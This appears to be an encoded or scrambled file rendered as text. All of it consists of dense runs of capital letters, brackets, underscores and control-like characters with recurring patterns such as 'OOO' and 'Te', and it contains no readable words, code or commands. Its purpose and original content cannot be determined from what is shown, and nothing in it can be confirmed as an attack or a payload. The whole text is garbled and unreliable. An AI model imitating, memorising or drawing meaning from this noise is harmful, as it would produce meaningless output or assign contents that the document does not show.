^YOONRROK0	W] FOO/V[^_G]ZFGK	 [4^2COOOOK	 [4^2OOAOOO_G^XW]FFTeOOOOOeOOOeOOO
GK	 [COOK0	W] COOOK
^YFTeeOOOOG; 
OK
X]	X
_FOOOeOOOOOOOOOG*
 OOOK
X]	X
_FOOeeOeOOO	 OO^ZW[
[GKV_	^XFeOOOOOOeeeeOOOO	OOGNWZ XG^XXVFGKV_	^XFFO
OMMTeOO	OG_G^XW\FG_G^XW[FCOOOOOKV_	^XCOOOOOK0[YZXFFOOeeeeOOOOOOOO	 
OOOGK0[YZX4^2OOOOK_]
W] FOOOeOOO	OOOOOOGV[[0
G_G\W[FGK_]
W] CO
FFFOO
OMMTeOOeeOOOO	OOOOOOG]X_	G^XW\FG_G^XWZFCOOOKV_	^XCOOOOOK0[YZXFFOOOOOe	 
OOGK0[YZX4^2OOOOK_]
W] FOeOO	OGV[[0
G
GK_]
W] FFFO
OOOMMTeOO	OG_G^XW_FGK_]
W] COOOV[^_G^XWYFFOONRROOO	
FOOOOOOeOOKV0_YOOOROOOO
0

0G]X_	G^XWXFCO]X_	G^XWWFCOOOK_]
W] FTeO	OOOG]X_	G^XWVFGKV0_YFOOOIIOOOKV0_YOONRROOK_]
W] OIIOOV[[0
GKV0_YFFOOOO
OMMTeOOeeOOOOeeeOOOOOO	OOOOGV[^_G^XW\FGV[^_G^XV_FCOOOOOKV_	^XCOK0[YZXFFOOeOOOOOO	 
OOOOGK0[YZX4^2OOOOK_]
W] FOeO	OOOGV[[0
G]X_	G^[_^FGGV[^_G^XV^FCO_G^XV]FFCOOGH33HCOH3HHFCOK_]
W] FFFOOO
OOOOOOMMTeO	OOGV[^_G^XW_FGK_]
W] COOWZ XG^XWYFFOONRRO	
FOeKV0_YOOOROOOO
0

0G_G^XWXFCOOOOOO]X_	G^XWWFCOOOOK_]
W] FTee	OG]X_	G^XV\FGKV0_YFOOOIIOKV0_YOOOOONRROOOK_]
W] OOIIOOOV[[0
GKV0_YFFOOO
OOMMTeOeOOOOOOOeOOOOOOOeO
OOOKV_	^XTeOOeOOOO	 OOOOO	W[Y\	
ZY[WGK_X^_ FeOOOee	OGN]X_	G^XV\FGK_X^_ FOOOOGWZ XG^XW_FGK_X^_ COOOOOV[^_G^XV[FFOOOOORRROO	
OOOIIOOV[^_G^XW_FGK_X^_ COOWZ XG\W[FFOORRRO	
FFOO
OOOOO	
TeOO	OOG]X_	G^XW\FGV[^_G^XW[FCOK_X^_ COOOOOK0[YZXFFOeOOOO	 
OGK0[YZX4^2OOOK_]
W] FOOeOO	OOOOGV[[0
GWZ XG\W[FGK_]
W] CO
FFFOO
OOOOO
TeOOOeeOOOO	OOOOOGWZ XG^XVZFGV[^_G^XVYFCOOK_X^_ COOOOK0[YZXFFOOeeeeOOOOO	 
OOGK0[YZX4^2OOOOOOK_]
W] FOOOOeeeeO	OOGV[[0
G
GK_]
W] FFFO
OOOO
TeOOOeOOOO	 
OOOGK0[YZX4^2OOOOOOK_]
W] FOOOOOe	OOGWZ XG^XVXFGK_]
W] COO_G^XWYFFOOORRROOO	
FOOO 
TeOKV0_YOOROOO
0

0G_G^XVWFCO_G^XWWFCOOK_]
W] FTeO	OOOGWZ XG^XVVFGKV0_YFOIIOKV0_YOONRROOOK_]
W] OIIOV[[0
GKV0_YFFO
OO
TeOOOOOeOeOOOOOOOO	OOOG]X_	G^XVZFG]X_	G^XV_FCOOOOK_X^_ COOOK0[YZXFFOOOeeeOOOO	 
OOGK0[YZX4^2OOK_]
W] FOOeeeO	OOOOGV[[0
G]X_	G^[_^FGGWZ XG^XV^FCO]X_	G^W__FFCOGH33HCOH3HHFCOK_]
W] FFFOOOO
OO
TeOOOeOOOO	 
OGK0[YZX4^2OOOOOK_]
W] FOOOeO	OOOGWZ XG^XVXFGK_]
W] COOOOOO]X_	G^XWYFFOOOORRROOOOO	
FOOOO 
TeOOOKV0_YOOROO
0

0G_G^W_^FCOOOOV[^_G^XWWFCOOOK_]
W] FTe	OGWZ XG^XVVFGKV0_YFOOOOOIIOKV0_YOOOOONRROOOOK_]
W] OOOOOIIOOOOOV[[0
GKV0_YFFOO
OOOO
TeeOOeOOO
OOO	
TeOOOOOee	 OOOZW0\^GK_X^_ FeeeeOOOOOeeeeOOOO	OOOOOGNWZ XG^XVVFGK_X^_ FOOOOK_X^_ OORRROOOMMFOOOOO
OOOMMTeOO
OOOOOG]X_	G^W_]FGWZ XGXZFCOO_G^YVWFGK_X^_ COO_COOOOOGW^_XDWZFFCOOOOOK]_
YYYFFOOPOOOOK]_
YYY4^2OOUOMMTeOOOOe	 OO]	] XY	WGK
0_\0[COKY]  COOK [	OROFeOOOOeeOOOOO	OOGNV[^_G^XVVFGK
0_\0[FOOOK
0_\0[OORRROOMMFOO
OOK
0_\0[TeOKZ	]\OOOROOOO_GV]VFOAOOKY]  OOOAOOOOV[^_GVYYFTeOK
VY0OROOOMMTeOKXV^ORO_TeO
OGKXV^DDOSOOOOG^[XB^VFFOeOK]0[00ZOROOV[^_G^XVXFGK
0_\0[COOKZ	]\FTeeO	OOOGK]0[00ZOOORRRO	
FOOOO
TeKV0W 
OOOOROOOOK]0[00ZOOODOO_G^X\^FGKZ	]\FTeOOOKYVOOOOOROO]X_	G^XVXFGK
0_\0[COOOO_G^ZY\FCOOKV0W 
FTeeeOOO	OOGKYVOORRRO	
OOOOKYVOOOOBOKV0W 
OOOOQOOOOOG^VD[ZFFOOOOeeeK
VY0OOOOOOAROOOO_G^YVWFGK
0_\0[COO_COOOKV0W 
FTeOOK
0_\0[OOROOO_G^W_\FGK
0_\0[COOOOOOKV0W 
FTeOOOOO 
TeOOOeeOK
\^ZOOROOOOOO_G^W_[FGK
0_\0[COOKV0W 
COOOOOKYVOBOOOKV0W 
FTeeeOO	OOGNV[^_G^W_]FG]X_	G^W_ZFCOK
\^ZFFOOeK
VY0OAROWZ XG^W_[FGK
0_\0[COOO_COOOKV0W 
FTeeeOK
0_\0[OOOOROOOO_G^W_YFGK
0_\0[COOKV0W 
FTeOOO 
TeeK			X_OROOWZ XG^W_XFOOOAOKY]  OOOOAOO_G^W_WFOOOAOK
\^ZOOOAOOOO_G^ZY\FTeOOOOOOK_\\_WOOROOOOOWZ XG^XVXFGK
0_\0[COOK			X_COOOKYVFTeOOOOOO	OOGK_\\_WOOORRROOOOO	
FOOO
TeeeeOOOK
VY0OAROOOO]X_	G^W_VFGK
0_\0[CO_COOOK]0[00ZFTeeeeK]WVXVOOOROOV[^_G^W_VFGK
0_\0[COK]0[00ZCOK_\\_WOOOOODOOWZ XG^X\^FGK			X_FOBOOK]0[00ZFTeOOOO	OGK [	OOONRROFOOOOeOOKYY[][OROWZ XG^W^_FGK [	COK]WVXVFTeeOO	OOOOOG_G^XVVFGKYY[][FFOOK
VY0OOOOOAROOKYY[][TeOOOO

OOeOK
VY0OAROOOK]WVXVTeeOOK
0_\0[OOOOOOROV[^_G^W_VFGK
0_\0[COK_\\_WOOOOODOOWZ XG^W^^FGK			X_FFTeOOOOOOeeeOO
OOK
VY0OOAOK
0_\0[TeeOOOO	 O	 \^X^[GKV_	^XFeOeee
OMMTeeOOOOO	 O0X^VZXY X	GKV_	^XFeeOOOO	OOGN]X_	G^XVVFGKV_	^XFFO
OOOMMTeOO	OOOGN
	
GWZ XG^YV]FFFOOOOO
OOOOOKV_	^XTeOOOOOK ]_Z[ZXXOOROOW
W\0]G.-<?.;'OOAOO_G^W^]FCOG\DZFFTeOO	OOG]X_	G^W^\FGV[^_G^W^[FOOOOOAOOOOOOK ]_Z[ZXXOAOOV[^_G^W^ZFCOOKV_	^XFFOO
OOOOOOMMTeO
OKV_	^XTeOOOOOOOeeOOOO	 OOO	 ZGK
0_\0[FeOOOOOOOeO	OGNV[^_G^W^YFGK
0_\0[FOOOOOK
0_\0[OORRROOMMFO
OOK
0_\0[TeK]	_YOOOROO]	] XY	WGK
0_\0[COOOOOWZ XG^W^XFCOOOO_G^W^WFFTeeeK]	_YOOOOROOOO]	] XY	WGK]	_YCO]X_	G^W^VFCOOOO]X_	G^W]_FFTeO	OOGV[^_G^W]^FGK]	_YFFOK]	_YOOOROOWZ XG^ZX\FGV[^_G^W]]FCOOMMCOK]	_YFTeOOOOOOO	OOOOGNWZ XG^W]\FGK]	_YFFOOOOOK]	_YOOOROK
0_\0[TeeOOO	OG	W[Y\	
ZY[WGK]	_YFFOOOeOOOOOOK]	_YOROO]	] XY	WGK]	_YCOO]X_	G^W^XFCOOOWZ XG^W][FFTeK]	_YOROOOOO]	] XY	WGK]	_YCOV[^_G^W^VFCO_G^W]ZFFTeOO	OOG_G^W]\FGK]	_YFFOOK]	_YOOOOOROOOWZ XG^W]YFGWZ XG^W]]FCOOOMMCOOOOK]	_YFTeeO
OOO]X_	G^W]\FGK]	_YFOOOPOOOOOK]	_YOUOOK
0_\0[TeOOeOOOOO	 OOY_^^ZXGK
0_\0[FeOOeOOOO	OOOOGN_G^W]\FGK
0_\0[FOOOOOON
	
G]X_	G^W]XFFFOOO
O	
Tee	OGWZ XG^W^\FG]X_	G^W]]FCOOOOK
0_\0[FFOOOOO
OO
TeeeK	0
OOROOOOOW
W\0]G.-<?.;'OOOAOWZ XG^W]WFCOG^]B[FFTeOOOO	OOGV[^_G^XVZFG]X_	G^W]VFCOK
0_\0[COK[[WFFOeO	 
OOGK[[W4^2OOOOOOOKXX_00XWFOOeOOOO	OOG_G^W_VFGKXX_00XWCOBG]DXFFOOORRROHUHOOAOOOK	0
FOO
O
TeOOeeeeOOOOOeOOK0OOROO_G^W_VFG_G^W\_FG.-<?.;'OOAOOOV[^_G^W\^FFCOOOO_COG^ZBXFFTeee	OOOOGV[^_G^W\]FGWZ XG^W\\FCOK
0_\0[COK0FFOOeeeOOOO	 
OOOOGK04^2OOOOK
WZ ^YFOeO	OGK
WZ ^YORRROOOOOK0FOO
OO
TeeOOOe
O	
TeeeeeOOO	 OOY_\^GFeOeOO	OOOOGN
GK0(*;4V[^_G^W\[F2FOOOOOON_G^W\ZFGK0(*;4_G^W\[F2FOOOOOOONV[^_G^W\YFG]X_	G^W\XFFFOOOO
TeK0^
_[OOOOOOROOO/
0  GV[^_G^W\WFCOOOOOOGFFTeO	OOOOGN_G^XX^FGK0^
_[FFOO
TeK		_^OROGFOK0(*;4]X_	G^W\VF2TeOOOOOOK_[[0]	 OOOOROOOOGFTe	OG
GK0^
_[4HH2FFOOOOOK_[[0]	 42OROOOGFOOOK0^
_[4HH2TeOOOOOO	OOOG
GK0^
_[4V[^_G^W[_F2FOIIO_G^XX^FGK0^
_[4]X_	G^W[_F2FFOOOOe	 
OOGK0^
_[4_G^W[^F2OOOOOOOOK

W^[	_FOOOOeOOOOO	OOGWZ XG^W[]FGK

W^[	_FOOOOOIIOO
GK

W^[	_4HH2FFOOK_[[0]	 42OOOOOROOGFOOK

W^[	_4HH2TeOeOeOOOOKWVZOOOOOROO	
TeOOOOO	 
OOOOGK_[[0]	 OOOOOOKX_ZY]FOOOe	OOOOGKX_ZY]OORRROOOOOOMMFOO 
TeKWVZORO_G^W\YFG_G^W[\FFOOOPO0
GKX_ZY]COK		_^FOUOOOOGKX_ZY]OORRROOOOK		_^FTeOOO	OOOOGKWVZFOOOOO
TeOOeO	OGNKWVZFOOOOO
TeOO	OOG_G^W[[FGV[^_GZ_ZFFFOeOOOO]X_	GZ_ZFG	 OOGFOOOO
OOGK		_^FOOeOOO
 OOM3SNBB<,$UMOAOOOOOK		_^OOOAOOOOWZ XG^W[ZFTeOFTeOOOeOeeeeOOOOOO	 OO
	WGFeOOe	OGNWZ XG^W[[FGWZ XG^W[YFFFOOO
OOOOO	
TeOOK]_
YYYOROOOO/
0  G_G^W[XFCOMMFTeO	OGN_G^W\ZFGK]_
YYYFOOOO]X_	G^XVXFGK]_
YYYCOV[^_G^W[WFFOOONRROOOO_FOOO
OOOO	
TeeOOOK [X[OROOOGFOOOOOWZ XG^W_VFGK]_
YYYCOOOG_]D_[FFTe	OOOOGK [X[OOOIIOO]X_	G^W[VFGFOOBOK [X[OOQOOG^\YZY]BZ_^Y]FFOOO
OOOOO	
TeOOO
O
TeeeeOOOOe	 OV 
GK
]0V	W[COOK
[_FeeeeOO	OOGN]X_	G^W[[FGV[^_G^XZ_FFOOOONWZ XG^W[[FG_G^WZ_FFFOO
OO	
Te	OOOOOG
	WGFFOOOOOO
O
TeK0^
_[OROOOOO/
0  G_G^W\WFCOGFFTeO	OGN_G^WZ^FGK0^
_[FFOOK0^
_[OOROGFTeeOO	OOOGN
GK0^
_[4_G^W[^F2FOOOON_G^WZ^FGK0^
_[4]X_	G^W[^F2FFOOeOK\OROGFTeOO	OG
GK0^
_[4HH2COOK0^
_[4HH2COOK0^
_[4HH2FFOeOOOK\4V[^_G^W\_FGGFOOOK0^
_[4HH2F2OOROOOOGHHOOOORQOOOGFOK0^
_[4HH2COHHORQOOOOGFOK0^
_[4HH2COOHHOOOOORQOOOOGFOK0^
_[4HH2COO_GY_ZFORQOOOO
GK0^
_[4V[^_G^WZ]F2FOOPOOGFOOOOK0^
_[4_G^WZ]F2OUOOOO]X_	G^W[VFGFCOOOO_G^WZ\FORQOOO_COOOHHOOOORQOOOO_FTeOOOOOOOeOK0^
_[OROG]X_	G^W[^FORQOOOOOK\FTeOOOOOOeeeOOK
\^ZOOOOOOROOOOOO_G^W\_FGK
]0V	W[FTeeO	OOOOOOG
GK0^
_[4V[^_G^W[^F24K
\^Z2FFOeOOK0^
_[4WZ XG^WZ[F24K
\^Z24WZ XG^WZZF2OOROOOO_G^W[VFGFTeK0^
_[4]X_	G^WZYF24K
\^Z24]X_	G^WZ\F2OOROO_TeeeOK0^
_[4WZ XG^WZYF24K
\^Z24HH2OROOGK
[_OORRROOOOMMFOOPO^OOUO_TeOOOOO	OGN]ZVGK0^
_[4V[^_G^WZYF24K
\^Z24HH2COOK
[_FFOeZ[^YZZG_G^WZXFCOOOV[^_G^WZWFFTeOOOOOO
OO	
TeeOOOeOOOOOOO

OOeK_Z00[OOROOX[W	[X][		GFTeOOK^V^^
_]_YYOOROOOOK_Z00[OOOAOOO]X_	G^WZVFOOOOOAOOW
W\0]GK
]0V	W[COOGWD[FFOOOAO_G^WY_FTeOOOOOOO	OOGN]ZVGK^V^^
_]_YYCOOOOK
[_FFOOOeeeeZ[^YZZG_G^WY^FCOWZ XG^WZWFFTeOO
O	
TeOeOOOK0^
_[4]X_	G^WY]F24K
\^Z2OOROGHHOOOORQOZ	\0WGG_D_\FFCOOOOOHHOOOOORQOOOOK
]0V	W[COOHHORQOOK^V^^
_]_YYCOO]X_	G^WZZFORQOV[^_G^WY\FGFCOOO_G^WZ\FOOOORQO_COOOOOHHORQOGK
[_ORRROOOMMFOOPOO^OOUOO_FTeeeOOeOO
OOOG_G^X^VFGK0^
_[4V[^_G^WY[F2FOOQOOOOGXX1X^FFOOeeeOOOOK
X[^Z OROOTeOOOKZZ^]OOOOOOROOOTeOOO	 
OOOGK0^
_[4WZ XG^WYZF2OOKV]OOOORQOK	\0FOOOOOeO	OOGKZZ^]OOOORRROOOOOGFOOOK	\04]X_	G^WYYF2OOOSOOOKZZ^]FOOeOOOOOOKZZ^]OROGFOOOK	\04WZ XG^WYXF2TeK
X[^Z OOOOROOOKV]TeOeeeOOOOOOOeee	OOOOGK
X[^Z ORRROOOOFOOOO
TeeeeZ	VV0GK0^
_[4WZ XG^WYZF24K
X[^Z 24HH2FTeeeeOOO
GK0^
_[4V[^_G^WYZF24K
X[^Z 2FTeOe/
0  GV[^_G^W\WFCOOOOK0^
_[COOO_G^XYVFFTeV[^_G^WYWFG]X_	G^WYVFFTee
OOO
TeOeOO	 OOOO
XW	VZ	 YGK	[00Y\ZFeOOOOOOOeOOOK
X]OOORO/WZ XG^WX_FGK	[00Y\ZCOOOGV[^_GXW]FORQOOOOOG_]D_FCO_G^WX^FORQO	
COWZ XGZ^[FOOOOOORQOO
CO_G^^Y^FORQO_COO_G^WX]FOOOORQOOOG_G^^YYFOOOORQOOV[^_G^WX\FCOOV[^_G^WX[FORQOOWZ XG^WXZFFFFTeeeeOOO	OOOOGWZ XG^W[[FGWZ XG^WXYFFOOOOOOIIOO00
 GK
X]FFOOOO
OGB^COO	
FTeeeeK Y]0ZOOOROOOOWZ XG^W[[FGV[^_G^WXXFFOPOGFOOO0
 
0


0
 
0 
GK
X]FOOUOOOO_TeO
OGK Y]0ZCOOK Y]0ZOOQOO_OOOIIOV[^_G^W[[FGWZ XG^WXWFFOOPOOOOGFO0
 
0


0 GK
X]FOOUOMMFTeOOOOOOOOe	 OOOO	\\V_WGK

W^[	_FeOOOOOeK0W OROOO/]X_	G^XXWFGK

W^[	_4HH2FTeOOOO	OOOGN_G^W\ZFGK0W FFOO
OOOO	
TeOOO	OOOOGK0W OOORRROOOMMFOeeeeO	OOG
GK

W^[	_4HH2FFOO
OOO	
TOOeOOOK Z0W
\_OORON/WZ XG^WXVFGK

W^[	_4HH2FTeO	OOOOOOGNK Z0W
\_FOOeOOOYXYW][GK

W^[	_4HH2COOG\\YDW[FFTeK Z0W
\_OOOOOROZ	VV0GK

W^[	_4HH2FTeOeO	OOOG]X_	G^W[[FGWZ XG^Z\FFFOOO/ 
0
GK

W^[	_4HH2COO
FTeeeeOOOO
OOOOK Z0W
\_TeOOOOe	OOOGN]ZVGK

W^[	_4HH2COOOOOK0W FFO
OO	
TeOO	OOGV[^_G^W[[FG_G^Z\FFFOO/ 
0
GK

W^[	_4HH2COO
FTeOO
O
TeeeOOOeOOO	 OOO]W GFeOOOeO	OOGNV[^_G^W[[FGWZ XG^WW_FFFOOOOO
TeOOOOOK0^
_[OOOROOOOOO/
0  G_G^WW^FCOOOOOGFFTeOOOOO	OOGNWZ XG^WZ^FGK0^
_[FFOO
Te	OGN
GK0^
_[4]X_	G^WW]F2FOOOOOOOOONV[^_G^WZ^FGK0^
_[4WZ XG^WW]F2FFOeOOOOK\OROOGFTeOOO	OOOG
GK0^
_[4HH2COOK0^
_[4HH2COOOK0^
_[4HH2FFOOeOK\4_G^W\_FGGFOOK0^
_[4HH2F2OOOROGHHORQOOGFOK0^
_[4HH2COHHOOORQOOGFOOK0^
_[4HH2COOOHHORQOOOGFOOK0^
_[4HH2CO]X_	G^WYXFOOOOORQOOO
GK0^
_[4]X_	G^WW\F2FOOPOOGFOOOK0^
_[4V[^_G^WW\F2OOOUOOOOWZ XG^WY\FGFCO_G^WZ\FORQO_FTeOOOeOOK0^
_[OROOGWZ XG^WW[FORQOOOK\FTeeO	OOOOG
GK0^
_[4WZ XG^WW[F2FFOeOO/


0  GV[^_G^WWZFFTeeOOOOOOO
TeOOeeeOOOOOOOK00X[ZOOROO	
Te	OOOOGK00X[ZFO
TeK00X[ZOROOO
TeeeeOO	OOOG]X_	G^W[[FGV[^_G[\\FFFOOOO/]X_	G[\\FGFTeO

	OOOG]X_	G^W[[FG]X_	G[\YFFFOOO/]X_	G^WWYFGFTeOOOOO	OOOOOG]X_	G^WWXFG_G[\WFFFOO/WZ XG^WWWFG
FTeOOO	OGNWZ XG^WWXFG_G^WX_FFOOOOOON]X_	G^WWVFGV[^_G^\W]FFFOO
TeeeOOOOOOK	XWY\\ZVORO 
0GH@HFTeOOOK	VYV\
OROO]X_	G^WV_FGV[^_GY^WFFOOPOOO0 0GFOOUOK	XWY\\ZVOOOAOO_GY^YFTeOOOK^
W^0OORO	
TeOOOOOK_[^V\WWOORO
TeOKYXVOOOOROOOG_^D_]FTeOOOOO	 
OOGK0^
_[4WZ XG^WW[F2OOK
\^ZORQOOK

W^[	_FOOeOO	OGNWZ XG^WZ^FGK

W^[	_FOOOOO
GK

W^[	_4HH2FOOOO
GK

W^[	_4HH2FOOOOO
GK

W^[	_4HH2FFOOOOOeee
GK0^
_[4V[^_G^WW[F24K
\^Z2FTeOK^
W^0OOOOORO
TeeO 
TeeeeOOOOOOOO	OOOOG_G^WY\FGFOOOOOBOOOOOGFOOK

W^[	_4_G^WV^F2OQOOG^X]XDX\FOOOOOOOOGFOOOOOOK

W^[	_4WZ XG^WZ\F2OOOQROOOG\D\FFOOOeOOZ[^YZZG]X_	G^WY^FCOWZ XG^WV]FOOAOOWZ XG^WV\FGK

W^[	_4HH2FFTeOOOOOZ	VV0GK

W^[	_4HH2FTeOO
GK0^
_[4_G^WW[F24K
\^Z2FTeeeeOK^
W^0OOOOOOROOO
TeOO 
TeOOeOO	OOOOOGKYXVOSROOO_FO
TeeOOKYXVBBTeKXX_X\VOOOOROV[^_G^WV[FOOOOOOAOO_G^WVZFGK

W^[	_4HH2FOAO_G^WVYFOOOOOOAOOWZ XG^WVXFGGVVV\\DYXFCOOGVVVV^_DWVFFTeOOGK Y]0ZCOK ^FOOOROO
XW	VZ	 YGK	XWY\\ZVOOOAOOKXX_X\VFTeO	OGK Y]0ZOOOOOOQOO_FOOOOOK_[^V\WWOOORO	
TeOO	OOOOGK Y]0ZOSROOO_OIIOWZ XG^WV_FG]X_	GXWXFFFOOOV[^_GXWXFG]FTe	OGK Y]0ZOOOOOOSROOOOOO_FOOeOGK Y]0ZCOK ^FORO
XW	VZ	 YGK	XWY\\ZVOOAOOOOKXX_X\VFTe	OGK Y]0ZOOOOQOOOO_FOOOOOK_[^V\WWORO	
TeOOeee	OOGK Y]0ZOSROOO_FOeOOOOK0^
_[4]X_	G^WW[F24K
\^Z24_G^WZ\F2DDTeOOK^
W^0OOOROO
TeOOOOOO 
TeOe	OOGK Y]0ZOOOQROOG[VZDZFFOOOeOOOOOOOO	OOOG	\\V_WGK

W^[	_FFOOOeZ[^YZZG]X_	G^WY^FCO]X_	G^WVWFOAOOOO]X_	G^WVVFGK

W^[	_4HH2FFTeeZ	VV0GK

W^[	_4HH2FTeOOO
GK0^
_[4]X_	G^WW[F24K
\^Z2FTeOOOOOO

OOOeOOOOOK0^
_[4_G^WW[F24K
\^Z24]X_	G^WZ\F2DDTeOOOeK^
W^0OORO
Te 
TeOOOOe	OOOOGV[^_G^XVXFGK ^COOOO]X_	G^V__FOOOOAOK

W^[	_4HH2OAOV[^_G^V_^FFONRROOO	
FOOOOeOOOZ	VV0GK

W^[	_4HH2FTeO
GK0^
_[4]X_	G^V_]F24K
\^Z2FTeOK^
W^0OOROOOOOO
Te 
TeeeeeOGK\VW COOOOOOK]0Y[\FOORO
XW	VZ	 YGK	VYV\
OAOOOOG_G^XVXFGK	VYV\
COHPHFORRROOO	
OOPOHPHOUOOHIHFOOAOO]X_	G^V_\FOAOOOOOOWZ XG^WVZFGK

W^[	_4HH2FOOOOAOO_G^V_[FOOAOOOOWZ XG^WVXFGG^[^^Z\B[^^Z\FCOOGVVVVZ[D[ZFFFTeOOO	OOGK\VW OQOOOOO_FOOOOOOK_[^V\WWOOOOROO	
TeO	OGK\VW OOQROOOOG[ZZD[ZFFOe	OOOOG	\\V_WGK

W^[	_FFOOOOeZ[^YZZG]X_	G^V_ZFCOO_G^V_YFOOOAOO]X_	G^WVVFGK

W^[	_4HH2FFTeOOZ	VV0GK

W^[	_4HH2FTeO
GK0^
_[4_G^V_]F24K
\^Z2FTeOOOOOOO

OeOK0^
_[4_G^V_]F24K
\^Z24WZ XG^WZ\F2DDTeOOOeOOOK^
W^0OORO
Te 
TeeO	OOOOG_G^W\ZFGK]0Y[\FOIIOOWZ XG^V_XFGK]0Y[\COWZ XG^V_WFOOOAOOOK

W^[	_4HH2OOOOAO_G^V_^FFOONRROOOOO	
FOOOeOOZ	VV0GK

W^[	_4HH2FTeO
GK0^
_[4_G^V_]F24K
\^Z2FTeeeeOOOOK^
W^0OOOOROO
TeeOO 
TeeOOOK0^
_[4WZ XG^V_VF24K
\^Z24V[^_G^WZ\F2DDTeOK^
W^0OROO
TeOeOOOOOOO	OGK_[^V\WWOOIIOOOOOK^
W^0OOOOOIIOON
GK0^
_[4]X_	G^V_VF2FFOeOOOK[Y0YV0OOOOROOO	
TeeOOOOOOOO	 
OOGK0^
_[4]X_	G^V^_F2OOOKW^
\FOOOOOeOOOO	OGGFOKW^
\4]X_	G^WZ\F2OQROOOGYB\FFOOOOOOeOOOOK[Y0YV0ORO
TeOOO
TeOeOe	OGK[Y0YV0FOOOOeO/
0  G]X_	G^W[XFCOOOOWZ XG^V^^FOAOOOOWZ XG^V^]FGFCOO]X_	G^XYVFFTeOOOOOZ[^YZZGV[^_G^V_ZFCO]X_	G^V^\FFTeOO	 
OOGK0^
_[4_G^V^_F2OOOOOKV]OOORQOOOKW^
\FOOOOeZ	VV0GKW^
\4HH2FTeOOOOOO
GK0^
_[4]X_	G^V^_F24KV]2FTeeeeOeO

	OOOOOOGNK_[^V\WWFOeOK	
	
	
OOOOOOROOO/
0  G_G^W[XFCOMMFTeeeOOOO	OOGN_G^V^[FGK	
	
	
FOOOOO]X_	G^V_XFGK	
	
	
COOOO]X_	G^X[^FFONRROOO_FOOO/
0  GWZ XG^V^ZFCOOWZ XG^V^YFOOOAOO_G^V^]FGFCOOV[^_G^XYVFFTee	OOOOOOG
GK0^
_[4V[^_G^V^_F2FFOOOOO/


0  G_G^V^XFFTeOOO

	OOGK^
W^0FOOOOOO/
0  G_G^V^XFCOOOOOK0^
_[COOOOO]X_	G^V^WFFTeOOOOe	 OZ[ 	X\	GK
0_\0[FeOOeeOOO
OO]X_	G^V^[FGK
0_\0[FOOIIOOGV[^_G^V^VFGK
0_\0[CO_G^V]_FFOOONRROO	
OOOOOOOOOO]X_	G^V^VFGK
0_\0[COO_G^V]^FFOOOONRROO	
OOOOO]X_	G^V]]FGK
0_\0[COOOOOWZ XG^V]\FFOOOONRROO	
OOO_G^V][FGK
0_\0[CO]X_	G^V]ZFFOOOONRROOOOO	
OOWZ XG^V]YFGK
0_\0[COOOOWZ XG^Y_^FFOOONRROOOO	
OOOOOO_G^V]XFGK
0_\0[COOOOO]X_	G^V]WFFONRROOOO	
FTeeeeOeOOOOOO	 O^ 0__
\GK
0_\0[FeeeOOe	OOGNZ[ 	X\	GK
0_\0[FFO
OO	
TeO	OOOG	W[Y\	
ZY[WGK
0_\0[FFOOO
O
TeOOO	OG_G^V]VFGWZ XG^V\_FCOOK
0_\0[COOOOK]_
YYYFFOOOOeOOOOOO	 
OOOOOGK]_
YYY4^2OOOK	\0FOeOOO	OOG
 0 
GK	\0COOOV	_00YGFCOHSHFFO
OOOOO
TeeOOO
OOOOO	
TeeeOOOeOOO
OO
TeeeeOOOeO	 OOO _X^ GK[	0XYFee	OOOOGN/WZ XG^WXVFGK[	0XYFOOOOON/_G^YX_FGK[	0XYFFOOOOO
TeOOOOOKZ	0OOROOO/]X_	G^V\^FGK[	0XYFTeOOO	OOOOOOGNKZ	0FOOO
TeOOOOOO	OOGKZ	0OOQOOOOOG^_[WZX]_D[_FFOOeOOK
[ZZ0OOOROOOO/WZ XG^XXWFGK[	0XYCOO	
COOOOOCOO_COOOOG_
\ZD_^]FFTeO	OOOGNZ[ 	X\	GK
[ZZ0FFOOOOOO
TeOO	OOOOG
^^XWGK[	0XYFOOORRROO	
FOOOeOOOOZ[^YZZG]X_	G^V\]FCOO_G^V\\FOOOAO_G^WVVFGK[	0XYFFTee
TeOOOOOeOO/]X_	GVVYFGK[	0XYCOMSP3MFTeeee	OOGWZ XG^V\[FG]X_	G^Z\FFFOOOOO/ 
0
GK[	0XYCOO
FTeOO
TeOOOOOeeO	OGKZ	0OQOG^_[W[WVDWXFFOOeOK_ZOROOGFOOOO/]X_	G^XXWFGK[	0XYCOO	
COOOOCOOOO_COOG]^Y[DY_]WFFTeOOOOK_\OROOGKZ	0OOOQOOOGVV_^B^X_VFFOOOOOPOOOGFOO/V[^_G^V\ZFGK[	0XYCOOOOOO	
COOOCOOKZ	0OOOBOOG^Y\\DYZZVFFOOOOUOOOMMTeeeeKXWOOROK_ZOOOOAOOK_\Te	OGKXWOONRROMMOOOIIOOOOWZ XG^V]VFGWZ XG^V\_FCOOOKXWCOKV	0 ^
FFOOOeOOK \	OOOROOOOO	
TeOOOOOOO	 
OOGKV	0 ^
4^2OOOOOK \V[_]FOOeO	OOOG
 0 
GK \V[_]COOV	_00YGFCOOOOHSHFFOeOOOK \	OOOOORO
Teee
TeeOOeeO	OOOOOOGNK \	FOOO
TeeeOOeOeOOK
0_\0[ORO/WZ XG^V\ZFGK[	0XYFTeOOOOOO	OOG]X_	G^V\YFGK
0_\0[FOOIIOOOV[^_G^W^^FGK
0_\0[FOOOQOG^_[WZ]XD[VFFOOOK
0_\0[OOOOROXX[WZGK
0_\0[FTeeeOO	OOGN_G^V\YFGK
0_\0[FFOOO
TeOO	OGN^ 0__
\GK
0_\0[FFO
Tee ^X^ZGK[	0XYCOK
0_\0[FTeOeOOOO	 OOOO ^X^ZGK[	0XYCOOOK
0_\0[FeOeOK]	_YOOROOOWZ XG^V\XFG]X_	G^V\WFCOOMMCOOOOK
0_\0[FTee	OOOOOOGNWZ XG^V\YFGK]	_YFOOOOOOV[^_G^V\VFGK]	_YFOOOORRROOOMMOOOOV[^_G^V[_FGK]	_YFOORRROO_G^XZ]FFOK]	_YOROMSP3MTeOO	OOOOOOGWZ XG^W^^FGK]	_YFOOQROOOOOG]__D\__FOOOOOIIOOOOON
[X
 Z]Y
GK]	_YFFOOK]	_YOROOOMSP3MTeeK	Y^Z^OROOOO/	

GK[	0XYFTeK	Y^Z^OOOOOROOOGK	Y^Z^OOOORRROO	
FOPOG\X\D[XFOOOUOGK	Y^Z^OOIOG[Y\D[WFFTeKV
XOROO/V[^_G^XY]FGK[	0XYFTeOOOKZ\_XOOOORO/_G]WFGWZ XG^\]^FGK[	0XYFCOOOOO]X_	G^V[^FFTeOOO	OOGKZ\_XOORRROOO	
FOO
